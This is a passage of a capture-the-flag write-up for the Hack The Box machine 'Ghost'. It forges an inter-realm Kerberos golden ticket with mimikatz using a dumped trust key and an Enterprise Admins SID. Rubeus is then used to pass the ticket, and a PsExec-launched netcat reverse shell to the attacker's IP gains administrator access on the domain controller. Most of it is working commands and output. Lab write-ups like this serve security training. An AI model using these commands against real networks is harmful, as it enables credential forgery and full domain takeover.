* 10/13/2024 7:52:29 PM - CLEAR - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b
* aes256_hmac b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
* aes128_hmac 81f4c2f21a640eed29861d71a619b4bb
* rc4_hmac_nt ea4e9954536eb29091fc96bbce83be23
We have an SID
for the current domain: S-1-5-21-2034262909-2733679486-179904498
and a trust key 4b04c5ac6cca84114f4e965d96ca2d38
(NT
hash, or RC4
, for CORP.GHOST.HTB -> GHOST.HTB
).
Now, we need to get the SID
value for Administrator
or Enterprise Admins
user:
C:\Users\Public\Downloads>wmic.exe useraccount get name,sid
wmic.exe useraccount get name,sid
Name SID
Administrator S-1-5-21-2034262909-2733679486-179904498-500
Guest S-1-5-21-2034262909-2733679486-179904498-501
krbtgt S-1-5-21-2034262909-2733679486-179904498-502
Administrator S-1-5-21-4084500788-938703357-3654145966-500
Guest S-1-5-21-4084500788-938703357-3654145966-501
krbtgt S-1-5-21-4084500788-938703357-3654145966-502
kathryn.holland S-1-5-21-4084500788-938703357-3654145966-3602
cassandra.shelton S-1-5-21-4084500788-938703357-3654145966-3603
robert.steeves S-1-5-21-4084500788-938703357-3654145966-3604
florence.ramirez S-1-5-21-4084500788-938703357-3654145966-3606
justin.bradley S-1-5-21-4084500788-938703357-3654145966-3607
arthur.boyd S-1-5-21-4084500788-938703357-3654145966-3608
beth.clark S-1-5-21-4084500788-938703357-3654145966-3610
charles.gray S-1-5-21-4084500788-938703357-3654145966-3611
jason.taylor S-1-5-21-4084500788-938703357-3654145966-3612
intranet_principal S-1-5-21-4084500788-938703357-3654145966-3614
gitea_temp_principal S-1-5-21-4084500788-938703357-3654145966-3615
We have to check that the SID
value S-1-5-21-2034262909-2733679486-179904498-500
from the output is the same as the SID
shown from the Bloodhound
scan (where we discovered the relation between justin.bradley
and adfs
user) and we can see its the same for the domain. We can also see that S-1-5-21-4084500788-938703357-3654145966-519
is the SID
for Enterprise Admins
.
Finally, in the same mimikatz
session (if we have not used lsadump::trust /patch
command before this might not work, so if we closed the previous session we might have to run it again) we craft a golden ticket (following this example):
mimikatz # kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi
User : Administrator
Domain : CORP.GHOST.HTB (CORP)
SID : S-1-5-21-2034262909-2733679486-179904498
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ;
ServiceKey: 4b04c5ac6cca84114f4e965d96ca2d38 - rc4_hmac_nt
Service : krbtgt
Target : GHOST.HTB
Lifetime : 10/13/2024 11:05:39 PM ; 10/11/2034 11:05:39 PM ; 10/11/2034 11:05:39 PM
-> Ticket : gunzf0x.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
For parameters/flags explanations we can see this page.
We then upload Rubeus
to the victim machine and use the generated .kirbi
file to request a ticket:
C:\Users\Public\Downloads>.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.2
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/dc01.ghost.htb'
[*] Using domain controller: dc01.ghost.htb (10.0.0.254)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBENJRlMbDmRjMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6gwBGexNwLt8t2HOMgn3+7WOgAC8UOH17kcyq6IQjCcOG3bDmOpwakVq0Lli++P2rpmw5HaZSI65+pb4pMyaY/H1mIc+FysPyNYNLISIawcOnSkXN425Pc5w/ARRAU3eTZuUp/PyAbX1xs4NiYZjRQy5NpWvb71/qxVTQqkks6VbjWpmlIKLlJ5nlwXd/s6g6+tXQakRcB6E60Oxn/RiB1VLW2We8KRnYnm+wwo2qhQy/EGwATfIIYE7q0Pze3lIw3GyFDPsYlLZ3n3krBJrtadgoCZ/iiBreDjmOM/u9e1s8uY1a7j/6ko9qC4rfTfSvYduo7MPyD6KGGBiQGToPmKZo7KWs1RfjjXqWdE4ARyFeVqBlYBvOVMlcOLyfTYiIt6EMCV6/zF37SG079jiVf0y9vgHFujAVDsQSBHJxU/OWCEbbi63tNzAqC7GREEPWlSwes9UzYKhE22KjUQQYh6hPg7riRXuWeBKgVJMK+iJAh80QKbZR1m14X9GCuGq3e2/4x72Pc3yIuRafgFSRfgI0VX/QHKURDwq49GkkUtDn9p24PMh9d0a6MyEsm5/s44xQzz2uMgpt04R/jvcAJ5P/uI+3htVa3wuIsLb0ZQ6OmJe8lM+4+SEEVA2n8qiP4i4sMnM7l1wfcXL7HcpkJdZvkTAi0Ecq+odlzAZNyvQW8BJ9qj5PtAigNxB7NRVWjqpSstbcgKcYFWclmYwj2zeRywk5kOoI/A2ly3OVGmKAxWNiZOAtpFCTAS2sg6HerOLW34DUOlemzjZIXmGoDpZd0jODxXDTmRMll/3y87Jv5OyOKd4fQdePykZzIGmcUXPcMlrFmEBCZg1wfwbGuZrcocJl1IOPVaTfRSqJRJVApMDtKfjQSGxWYLzaydRakjaNXoXXD51G0nLOHQbcbHK54H/IuHk+xJzDuuLAT9UDJvi1q1yBr9iFQpTBmXSLC1dd2keSqqixYH4mWKFdqUxx33fBsXn9BL8Xz6w5M+k2+VQady25bKyODV1WxRL8iSaERf9ZZiNkPJsAB5sEDpJaSg8wUvXzBePDNo6SP4fs8LfHWD5Lsk65LSE+85ztQ/NRznxAgqDBd40RgH1kNdR7gW9kcm0iakFFxnD0sLN4lMQLsuiux8wN3YT1xO9z0EH2egFww9uksS5xFXjGvS+nbDWVcFrHevbIQAx/fyGLQSHihqT12U559xdi/7/iTJLW02Yx33MMOj5w679feYhGZ54soRYE2jgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCCDEX7RPQYBXZbDLe8Qiuw9WzqhUrJzExdi0iBeWCWSQ6EQGw5DT1JQLkdIT1NULkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDEwMTQwNjA1NDZaphEYDzIwMjQxMDE0MTYwNTQ2WqcRGA8yMDI0MTAyMTA2MDU0NlqoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEQ0lGUxsOZGMwMS5naG9zdC5odGI=
ServiceName : CIFS/dc01.ghost.htb
ServiceRealm : GHOST.HTB
UserName : Administrator
UserRealm : CORP.GHOST.HTB
StartTime : 10/13/2024 11:05:46 PM
EndTime : 10/14/2024 9:05:46 AM
RenewTill : 10/20/2024 11:05:46 PM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : gxF+0T0GAV2Wwy3vEIrsPVs6oVKycxMXYtIgXlglkkM=
We can see if this worked using klist
command to see if the ticket is cached:
C:\Users\Public\Downloads>klist
klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ CORP.GHOST.HTB
Server: CIFS/dc01.ghost.htb @ GHOST.HTB
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 10/13/2024 23:05:46 (local)
End Time: 10/14/2024 9:05:46 (local)
Renew Time: 10/20/2024 23:05:46 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
Now, if we check if we have access to DC01
machine, we get Access denied
. This might be due to difference in times between our ticket and the time machine. Therefore, we can automatize the generation of the script in a not so-simple oneliner:
C:\Users\Public\Downloads>.\mimikatz.exe "lsadump::trust /patch" exit && .\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi" exit && .\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt && dir \\dc01.ghost.htb\c$
<SNIP>
Volume in drive \\dc01.ghost.htb\c$ has no label.
Volume Serial Number is 2804-C13F
Directory of \\dc01.ghost.htb\c$
05/08/2021 01:20 AM <DIR> PerfLogs
07/22/2024 09:55 AM <DIR> Program Files
07/22/2024 09:55 AM <DIR> Program Files (x86)
02/04/2024 02:48 PM <DIR> Users
07/10/2024 03:08 AM <DIR> Windows
0 File(s) 0 bytes
5 Dir(s) 3,619,573,760 bytes free
We have access to Administrator
Desktop in DC01
:
C:\Users\Public\Downloads>dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
Volume in drive \\dc01.ghost.htb\c$ has no label.
Volume Serial Number is 2804-C13F
Directory of \\dc01.ghost.htb\c$\Users\Administrator\Desktop
07/03/2024 01:28 PM <DIR> .
01/30/2024 10:19 AM <DIR> ..
10/13/2024 07:37 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 3,619,311,616 bytes free
We can finally read the flag.
If we want to gain access to the DC01
, we can upload a PsExec64.exe
binary (it can be downloaded from the official Windows page). We pass the binary to the victim PRIMARY
machine and make a copy of nc
to DC
:
C:\Users\Public\Downloads>copy C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe \\dc01.ghost.htb\c$\Users\Public\Downloads\nc.exe
Finally, just send us a reverse shell using PsExec.exe
binary:
C:\Users\Public\Downloads>.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe"
.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e cmd.exe"
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Starting C:\Windows\System32\cmd.exe on DC01.ghost.htb...
We get a shell:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.24] 63075
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
corp\administrator
~Happy Hacking